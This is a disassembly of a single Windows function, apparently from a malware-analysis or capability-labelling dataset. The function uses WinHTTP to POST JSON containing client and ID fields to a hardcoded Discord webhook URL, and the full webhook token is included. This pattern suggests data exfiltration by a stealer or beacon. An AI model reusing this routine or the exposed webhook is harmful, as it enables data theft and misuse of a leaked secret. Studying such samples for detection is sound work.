Function at 0x140018d02
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
jmp 0x14003cce0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [0x140062040]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x14006f13b]
call fcn.1400194d2
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_Sample_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003cf93
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.discord.com
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003cf89
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._api_webhooks_1250232654041714738_7oPGW2ctTeToRKOnEwCL6Qv9hBG50yJoDRWYsCGGRB1v2_JklkooqNfW4TzpKAmvevkv
lea rdx, str.POST
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14003cf7f
mov r8, qword [rbp + 0x2b0]
lea rdx, str._content_:__Cl:
lea rcx, [rbp + 0x1a8]
call fcn.1400180e6
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x260], rax
lea r8, str._nID:
mov rdx, qword [rbp + 0x260]
lea rcx, [rbp + 0x1e8]
call fcn.140019301
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x270], rax
mov r8, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x228]
call fcn.14001871c
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x280], rax
lea r8, [0x140055864]
mov rdx, qword [rbp + 0x280]
lea rcx, [rbp + 0x68]
call fcn.140019301
nop
lea rcx, [rbp + 0x228]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x1e8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x1a8]
call fcn.1400183d4
lea rcx, [rbp + 0x68]
call fcn.140018ed8
mov dword [rbp + 0x254], eax
lea rcx, [rbp + 0x68]
call fcn.140018ed8
mov dword [rbp + 0x258], eax
lea rcx, [rbp + 0x68]
call fcn.140018212
mov qword [rbp + 0x260], rax
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x254]
mov dword [rsp + 0x28], eax
mov eax, dword [rbp + 0x258]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp + 0x260]
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x14003cf17
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
jmp 0x14003cf6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xc4], eax
lea rdx, str.Erreur_lors_de_lenvoi_de_la_requte_HTTP_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x258], rax
mov edx, dword [rbp + 0xc4]
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0x260], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rbp + 0x68]
call fcn.1400183d4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea rcx, [rbp - 0x40]
lea rdx, [0x140052750]
call fcn.14001911c
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.140018a00
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret